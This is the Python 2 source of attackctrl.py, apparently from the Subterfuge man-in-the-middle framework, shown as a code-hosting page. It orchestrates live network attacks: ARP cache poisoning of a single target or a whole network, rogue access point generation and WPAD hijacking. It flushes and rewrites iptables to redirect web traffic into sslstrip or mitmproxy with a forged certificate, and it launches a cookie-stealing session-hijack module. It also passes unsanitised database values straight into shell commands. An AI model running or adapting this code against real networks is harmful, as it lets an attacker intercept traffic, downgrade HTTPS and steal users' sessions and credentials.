/
attackctrl.py
351 lines (294 loc) · 12.6 KB
/
attackctrl.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
import os
import re
import sys
sys.path.append('/usr/share/subterfuge')
import time
#Ignore Deprication Warnings
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
from django.conf import settings
settings.configure(
DATABASES = {
'default' : {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': "/usr/share/subterfuge/db",
'USER': '',
'PASSWORD': '',
'HOST': '',
}
}
)
from django.db import models
from main.models import *
from modules.models import *
#Subterfuge Imports
sys.path.append('/usr/share/subterfuge/utilities')
from errorhandler import notification_attackctrl
def attack(method):
notification_attackctrl("init")
print "Starting Pwn Ops..."
#Determine Active Vectors
acp, apgenatk, wpad = getvectors()
target = ""
#Launch Attacks
#ARP Cache Poison
if acp == "yes":
#Auto Pwn Method
if (method == "auto"):
print "Running AutoPwn Method..."
#AutoConfig
autoconfig()
interface, gateway, attackerip, routermac, smartarp, proxymode = getinfo()
#Begin Attack Setup
print "Automatically Configuring Subterfuge..."
iptablesconfig(proxymode)
print "Initiating ARP Poison With ARPMITM..."
#Get Poison Options
for info in arppoison.objects.all():
target = info.target
method = info.method
#Check for poison single/all
if (method == "single"):
try:
print "Poisoning: " + target
command = 'python ' + os.path.dirname(os.path.abspath(__file__)) + '/utilities/arpmitm.py -s ' + target + " " + gateway + ' &'
except:
notification_attackctrl("no-single-target")
print "Could not poison single target: no target found!"
else:
print "Poisoning: Network"
command = 'python ' + os.path.dirname(os.path.abspath(__file__)) + '/utilities/arpmitm.py ' + gateway + ' &'
#ARP Cache Poison through Subterfuge:
os.system(command)
if proxymode == "sslstrip":
print "Starting up SSLstrip..."
sslstrip()
elif proxymode == "mitmproxy":
print "Starting up the MITM Attack Proxy..."
mitmproxy()
sessionhijack()
#Get & Log Router Mac
if (os.path.exists(os.path.dirname(os.path.abspath(__file__)) + "/arpmitm.txt")):
f = open(os.path.dirname(os.path.abspath(__file__)) + "/arpmitm.txt", 'r')
mac = f.readline()
macaddr = mac.rstrip("\n")
setup.objects.update(routermac = macaddr)
#os.system("python " + str(os.path.dirname(__file__)) + "/mitm.py -a &")
#Check for ARPWatch
if (smartarp == "yes"):
try:
os.system("python " + str(os.path.dirname(__file__)) + "/utilities/arpwatch.py " + gateway + " " + routermac + " " + attackerip + " &")
except:
notification_attackctrl("arpwatch-no-rmac")
print "Encountered an error configuring arpwatch: Router MAC Address Unknown."
#Standard Attack Method
else:
interface, gateway, attackerip, routermac, smartarp, proxymode = getinfo()
#Begin Attack Setup
print "Automatically Configuring Subterfuge..."
iptablesconfig(proxymode)
print "Initiating ARP Poison With ARPMITM..."
#Get Poison Options
for info in arppoison.objects.all():
target = info.target
#Check for poison single/all
if (method == "single"):
command = 'python ' + os.path.dirname(os.path.abspath(__file__)) + '/utilities/arpmitm.py -s ' + target + " " + gateway + ' &'
else:
command = 'python ' + os.path.dirname(os.path.abspath(__file__)) + '/utilities/arpmitm.py ' + gateway + ' &'
#ARP Cache Poison through Subterfuge:
os.system(command)
iptablesconfig(proxymode)
if proxymode == "sslstrip":
print "Starting up SSLstrip..."
sslstrip()
elif proxymode == "mitmproxy":
print "Starting up the MITM Attack Proxy..."
mitmproxy()
sessionhijack()
#Get & Log Router Mac
if (os.path.exists(os.path.dirname(os.path.abspath(__file__)) + "/arpmitm.txt")):
f = open(os.path.dirname(os.path.abspath(__file__)) + "/arpmitm.txt", 'r')
mac = f.readline()
macaddr = mac.rstrip("\n")
setup.objects.update(routermac = macaddr)
#Check for ARPWatch
if (smartarp == "yes"):
os.system("python " + str(os.path.dirname(__file__)) + "/utilities/arpwatch.py " + gateway + " " + routermac + " " + attackerip + " &")
else:
print "Dynamic ARP Retention is disabled."
#Wireless AP Generator
if apgenatk == "yes":
#Get Attack Info
for info in apgen.objects.all():
essid = info.essid
channel = info.channel
atknic = info.atknic
netnic = info.netnic
print "Launching Access Point Generation Attack..."
cmd = "xterm -e sh -c 'python " + str(os.path.dirname(__file__)) + "/utilities/apgen.py " + essid + " " + atknic + " " + netnic + "' &"
print cmd
os.system(cmd)
#Begin MITM Attack Setup
print "Automatically Configuring Subterfuge..."
iptablesconfig(proxymode)
print "Starting up SSLstrip..."
if proxymode == "sslstrip":
sslstrip()
elif proxymode == "mitmproxy":
print "Starting up the MITM Attack Proxy..."
mitmproxy()
sessionhijack()
#WPAD Hijacking
if wpad == "yes":
#Auto Pwn Method
print "Running AutoPwn Method..."
#AutoConfig
autoconfig()
interface, gateway, attackerip, routermac, smartarp, proxymode = getinfo()
#Begin MITM Attack Setup
#Begin Attack Setup
#No IPTables SSLStrip Configuration necessary for WPAD Hijacking
#print "Automatically Configuring Subterfuge..."
#iptablesconfig(proxymode)
#Flush IPTables
print "Flushing IPTables for WPAD Hijacking"
os.system("iptables -t nat -F")
print "Starting up SSLstrip..."
sslstrip()
sessionhijack()
#Execute WPAD Hijacking
os.system("python " + str(os.path.dirname(__file__)) + "/utilities/wpadhijack.py " + gateway + " " + routermac + " " + attackerip + " &")
#Start Up Modules
modules()
def getvectors():
#Get Attack Vectors
active = []
for vector in vectors.objects.all():
active.append(vector.active)
#Return Active/Inactive
return active[0], active[1], active[2]
def modules():
#Check Active
active = []
for module in installed.objects.all():
active.append(module.active)
#Deploy Active Vectors
if module.active == "yes" or module.active == "true":
os.system("python " + str(os.path.dirname(__file__)) + "/modules/" + module.name + "/" + module.name + ".py &")
def getinfo():
#Get Globals from Database
for settings in setup.objects.all():
interface = settings.iface
gateway = settings.gateway
attackerip = settings.ip
routermac = settings.routermac
smartarp = settings.smartarp
proxymode = settings.proxymode
return interface, gateway, attackerip, routermac, smartarp, proxymode
#SSLStrip tooled through Subterfuge:
def sslstrip():
#run sslstrip
os.system('python ' + os.path.dirname(__file__) + '/sslstrip.py -w ' + os.path.dirname(__file__) + '/sslstrip.log -l 10000 -f &')
#-a includes all traffic not just https post requests
#Subterfuge Interception Proxy
def mitmproxy():
#run proxy
os.system('mitmdump --cert=/usr/share/subterfuge/cert.pem -w /usr/share/subterfuge/mitmproxy.log -p 10001 & 1> /dev/null 2>/dev/null')
def sessionhijack():
#run cookiestealer
os.system('python /usr/share/subterfuge/modules/sessionhijacking/cookiestealer.py &')
#Set system configuration to perform MITM Attacks
def iptablesconfig(proxymode):
os.system('iptables -F')
os.system('iptables -X')
os.system('iptables -t nat -F')
os.system('iptables -t nat -X')
os.system('iptables -t mangle -F')
os.system('iptables -t mangle -X')
os.system('iptables -P INPUT ACCEPT')
os.system('iptables -P FORWARD ACCEPT')
os.system('iptables -P OUTPUT ACCEPT')
time.sleep(1)
#10000 = SSLStrip & 10001 = MITMPROXY
if proxymode == "sslstrip":
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
elif proxymode == "mitmproxy":
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10001')
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10001')
time.sleep(1)
print "Iptables Prerouting Configured\n"
print 'Configuring System...'
os.system('sysctl -w net.ipv4.ip_forward=1')
print "IP Forwarding Enabled."
def autoconfig():
# Read in subterfuge.conf Deprecate for Version 5.0
with open(str(os.path.dirname(__file__)) + '/subterfuge.conf', 'r') as file:
conf = file.readlines()
# Get AutoConfiguration Information
# Get Interfaces
f = os.popen("ls /sys/class/net/")
temp = ''
temp = f.readline().rstrip('\n')
result = []
result.append(temp)
while (temp != ''):
temp = f.readline().rstrip('\n')
if (temp != 'lo'):
result.append(temp)
result.remove('')
# Get Gateway
gw = []
e = os.popen("route -n | grep 'UG[ \t]' | awk '{print $2}'")
ttemp = ''
ttemp = e.readline().rstrip('\n')
if not ttemp:
print 'No default gateway present'
else:
gw.append(ttemp)
temp = ''
gw.append(temp)
for interface in result:
f = os.popen("ifconfig " + interface + " | grep \"inet addr\" | sed -e \'s/.*addr://;s/ .*//\'")
temp2 = ''
temp3 = ''
temp = f.readline().rstrip('\n')
temp2 = re.findall(r'\d*.\d*.\d*.', temp)
if not temp2:
print "No default gw on " + interface
else:
gate = temp2[0] + '1'
gw.append(gate)
result[0] = interface
autogate = gw[0]
gw.remove('')
gw.reverse()
#Read in Config File Deprecate for Version 5.0
f = open(str(os.path.dirname(__file__)) + '/subterfuge.conf', 'r')
conf = f.readlines()
#Get the Local IP Address
f = os.popen("ifconfig " + result[0] + " | grep \"inet addr\" | sed -e \'s/.*addr://;s/ .*//\'")
temp2 = ''
temp3 = ''
temp = f.readline().rstrip('\n')
ipaddress = re.findall(r'\d*.\d*.\d*.\d*', temp)[0]
# Edit subterfuge.conf Deprecate for Version 5.0
print "Using: ", result[0]
print "Setting gateway as: ", autogate
conf[17] = autogate + "\n"
conf[15] = result[0] + "\n"
conf[26] = ipaddress + "\n"
#Set Database
setup.objects.update(gateway = autogate)
setup.objects.update(iface = result[0])
setup.objects.update(ip = ipaddress)
# Write to subterfuge.conf Deprecate for Version 5.0
with open(str(os.path.dirname(__file__)) + '/subterfuge.conf', 'w') as file:
file.writelines(conf)
#Check Arguments
if len(sys.argv) < 1:
notification_attackctrl("autoconfig-error")
print "Encountered an error configuring attack: Invalid Arguments. Terminating..."
exit()
else:
attack(sys.argv[1])